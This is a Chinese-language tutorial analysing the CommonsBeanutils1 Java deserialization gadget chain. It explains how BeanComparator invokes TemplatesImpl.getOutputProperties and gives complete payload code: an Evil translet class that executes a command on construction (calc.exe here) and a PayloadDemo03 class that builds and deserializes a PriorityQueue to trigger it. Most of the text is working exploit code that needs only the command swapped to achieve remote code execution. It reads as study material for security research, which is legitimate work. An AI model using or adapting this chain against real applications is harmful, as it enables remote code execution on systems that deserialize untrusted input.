CommonsBeanutils1反序列化链分析
ACC2链中用到PriorityQueue类的比较器进行构造反序列化链,当时用到的是TransformingComparator对象作为PriorityQueue类的比较器,那么是否存在其它比较器可以用来构造反序列化链呢?
答案肯定是有的,BeanComparator对象就可以作为比较器用于构造反序列化链
Apache Commons Beanutils简介
Apache Commons Beanutils是 Apache Commons工具集中的另一个项目,它提供对 javaBean 的一些操作,javaBean的用于映射数据库的。比如如下一个javaBean就映射了数据库的一个Studnet表,表里面存在name和age字段
package org.apache.shiro.test;
public class Student {
private String name;
private int age;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
Apache Commons Beanutils提供对 javaBean 的一些操作,比如当PropertyUtils.getProperty(new Student,name)
方法时,会去调用Student类的getName方法。
BeanComparator对象
这个对象位于org.apache.commons.beanutils
这个包下,其实现了Comparator和Serializable接口,所以它可以用作PriorityQueue的比较器,如下为BeanComparator.compare
方法
public int compare(Object o1, Object o2) {
if (this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
当this.property
为空则直接比较两个元素,当不为空则调用PropertyUtils.getProperty
方法,当o1为对象A,this.property
为name,则此时PropertyUtils.getProperty
方法会调用A.getName
方法,那么这个点怎么利用呢?
构造payload
前面分析ACC链的时候有一条TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->TemplatesImpl.defineTransletClasses
调用链,且getOutputProperties和newTransformer方法是公开的。注意到getOutputProperties方法,不就是符合PropertyUtils.getProperty
方法的调用格式吗?当this.property为outputProperties
(注意要小写才行),o1为TemplatesImpl时,则会调用TemplatesImpl.getOutputProperties
进入反序列化调用链。
根据前面的分析,可以利用BeanComparator对象作为PriorityQueue的比较器进行构造反序列化链,完整payload如下
Evil.java文件
package org.apache.shiro.test;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }
public Evil() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
}
PayloadDemo03.java文件
package org.apache.shiro.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class PayloadDemo03 {
public static void main(String[] args) throws Exception {
PriorityQueue priorityQueue = (PriorityQueue) getObject();
serAndUnser(priorityQueue);
}
public static Object getObject() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(org.apache.shiro.test.Evil.class.getName());
byte[] bytes = clazz.toBytecode();
TemplatesImpl Evilobj = new TemplatesImpl();
BeanComparator comparator = new BeanComparator();
PriorityQueue priorityQueue = new PriorityQueue(2,comparator);
priorityQueue.add(1);
priorityQueue.add(1);
Field declaredField = Evilobj.getClass().getDeclaredField("_bytecodes");
declaredField.setAccessible(true);
setField(Evilobj,"_bytecodes",new byte[][]{bytes});
setField(Evilobj,"_name","ky");
setField(Evilobj,"_tfactory",new TransformerFactoryImpl());
setField(comparator,"property","outputProperties"); //需要首字母小写
setField(priorityQueue,"queue",new Object[]{Evilobj,Evilobj});
return priorityQueue;
}
public static void setField(Object obj,String field,Object value) throws Exception{
Field declaredField = obj.getClass().getDeclaredField(field);
declaredField.setAccessible(true);
declaredField.set(obj,value);
}
public static void serAndUnser(Object obj) throws Exception{
ByteArrayOutputStream bo = new ByteArrayOutputStream();
ObjectOutputStream oo = new ObjectOutputStream(bo);
oo.writeObject(obj);
oo.flush();
oo.close();
ByteArrayInputStream bi = new ByteArrayInputStream(bo.toByteArray());
ObjectInputStream oi = new ObjectInputStream(bi);
Object o = (Object) oi.readObject();
}
}
自此,CommonsBeanutils1反序列化链就构造完毕了。